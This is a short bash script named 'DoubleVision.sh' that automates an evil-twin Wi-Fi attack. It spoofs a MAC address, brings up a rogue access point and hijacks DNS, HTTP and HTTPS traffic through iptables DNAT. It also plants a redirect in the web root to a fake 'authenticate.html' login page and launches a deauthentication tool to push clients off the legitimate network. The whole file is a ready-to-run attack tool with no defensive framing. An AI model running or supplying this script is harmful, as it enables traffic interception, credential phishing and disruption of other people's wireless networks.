DoubleVision.sh 1003 B

123456789101112131415161718192021222324252627282930313233
  1. #!/bin/bash
  2. service apache2 start
  3. sleep 1
  4. ifconfig wlan2 down
  5. macchanger -A wlan2
  6. sleep 1
  7. ifconfig wlan2 up
  8. sleep 1
  9. hostapd -B /etc/hostapd/hostapd.conf
  10. sleep 2
  11. ifconfig br0 up
  12. sleep 2
  13. ifconfig br0 10.1.1.1 netmask 255.255.255.0
  14. sysctl net.ipv4.ip_forward=1
  15. echo "<meta http-equiv="refresh" content=2;URL='http://10.1.1.1/authenticate.html'>">> /var/www/html/index.html
  16. iptables --flush
  17. iptables -t nat --flush
  18. iptables -t nat -A PREROUTING -i br0 -p udp -m udp --dport 53 -j DNAT --to-destination 10.1.1.1:53
  19. iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 80 -j DNAT --to-destination 10.1.1.1:80
  20. iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 443 -j DNAT --to-destination 10.1.1.1:443
  21. iptables -t nat -A POSTROUTING -j MASQUERADE
  22. sleep 2
  23. service dnsmasq start
  24. sleep 4
  25. echo "AP Should Be Up. Time To Deauth"
  26. echo ""
  27. sleep 2
  28. echo "Press CTRL+B then press D to disconnect TMUX Session Once Deauth Is Started"
  29. echo ""
  30. tmux new -s deauth 'cd PwrDeauther && bash PwrDeauther.sh'